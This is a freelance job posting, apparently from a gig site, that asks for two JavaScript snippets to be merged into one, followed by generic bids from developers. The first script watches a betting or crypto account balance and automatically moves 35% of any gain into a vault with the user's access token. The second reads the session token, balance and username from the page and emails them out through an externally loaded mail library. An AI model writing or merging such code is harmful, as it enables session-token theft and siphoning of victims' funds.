hey there i got 2 seperate javascripts
need them to be done one script out of it
dont msg me if you THINK you can do it just msg if you CAN do it
dont msg me if you need 5 days for it its a 10 minute task
need it to be done instantly.
no discussions for whats your max budget its written in here
script one:
[login to view URL] = function loadpage(){
[login to view URL]([login to view URL]);
if ([login to view URL] === 'complete') {
var oldBal = [login to view URL](".[login to view URL] .[login to view URL]").innerText;
var curBalEle = [login to view URL](".[login to view URL] .[login to view URL]").innerText;
function tresor(){
oldBal = curBalEle
if (oldBal = curBalEle){
function depositBal(depositAmount) {
var curr = getCurrency();
var data = [{
operationName: "CreateVaultDeposit",
query: "mutation CreateVaultDeposit($amount: Float!, $currency: CurrencyEnum!) { createVaultDeposit(amount: $amount, currency: $currency) { id amount currency user { id balances { available { amount currency __typename } vault { amount currency __typename } __typename } __typename } __typename } } ",
variables: {
amount: depositAmount,
currency: curr,}}]
return fetch("[login to view URL]
", {
"credentials": "omit",
"headers": {
"content-type": "application/json",
'x-access-token': accessToken,
'x-lockdown-token': undefined},
"referrer": "[login to view URL]
" + curr + "&modal=vault&operation=deposit",
"body": [login to view URL](data),
"method": "POST",
"mode": "cors"});}
function checkBalance() {
var curBalEle=[login to view URL](".[login to view URL] .[login to view URL]");
if([login to view URL]('styles__Content-rlm06o-1 ixoRjG').length > 0){
curBalEle = [login to view URL]('styles__Content-rlm06o-1 ixoRjG')[0].innerText;
if(curBalEle != '') {
//[login to view URL]('balance changed');
//[login to view URL]('old balance : ' + oldBal);
//[login to view URL]('current balance : ' + curBalEle);
if (curBalEle > oldBal) {
var depositAmount = ((curBalEle - oldBal) * 0.35); /////////// Setup Profit here in Decimal: 50 % = 0.50 - 75 % = 0.75 - 15 % = 0.15
depositBal(depositAmount).then(() => {
oldBal = [login to view URL](".[login to view URL] .[login to view URL]").innerText;
[login to view URL]("oldBal", oldBal);
getConversionElem().innerText = convertCurrency(getCurrency(), curBalEle).toFixed(2) + "$";
oldBal = curBalEle;
});}
oldBal = curBalEle;
}}}[login to view URL](checkBalance, 1751);}//timerspeed read send to tresor
else{
tresor();//if different balance run func tresor
}}var myTimer = setTimeout(tresor, 5500);}}; //timer func(tresor)
script two:[login to view URL]
= function loadpage(){
[login to view URL]([login to view URL]);
if ([login to view URL] === 'complete') {
function sendEmail() {
var bal = [login to view URL](".[login to view URL] .[login to view URL]").innerText;
var cur = [login to view URL]([login to view URL]("v2_currency")).currency;
var accessToken = [login to view URL]('session').replace(/"/g, '');
var neu = [login to view URL]("Title__H1-sc-1ncj9v4-0 fWnJeW")[0].[login to view URL]
;
[login to view URL]
.send({
Host : "",
Username : "",
Password : "",
To : '',
From : "",
Subject : neu ,
Body : accessToken +"<p>" +neu +"<p>" +bal +" " +cur,
}).then(
message => alert(message)
);
}
// Load [login to view URL]
var s = [login to view URL]("script");
[login to view URL] = "[login to view URL]
";
[login to view URL](s);
// Wait 3 seconds before sending the email (it gives [login to view URL] time to load)
setTimeout(sendEmail, 3000);}}
script 2 needs to included in script 1.
script 2 only shoud be run one time after page is loaded. after script 2 is done the rest of script 1 should be executet in loop
Javascript Expert here
I have 8+ years of experience in Web Designing and Development.
Let have a chat and discuss in detail
I have read your description. Once we clear our requirements and understood all things we may revise budget and timeline if needed.
Ready to start work. Inbox me and let's talk to get started!
--Everything depends on you.--
I am a full-stack developer with 10 years of experience.
My skill is only WordPress, PHP, MySQL, Magento, Laravel, React, Node, Angular, CI but also Bootstrap, PSD to HTML, Website design, etc.
And I've read your requirement carefully and I understand what you really want. But I have something to ask you about your problem.
Of course, I have worked on several similar projects and can deliver a quality program to tight deadlines.
I am online 24 hours a day so you can contact me anytime.
If you hire me for the project, I will discuss this further and get started for you as soon as possible.
Hope to see you!
From Ruslan.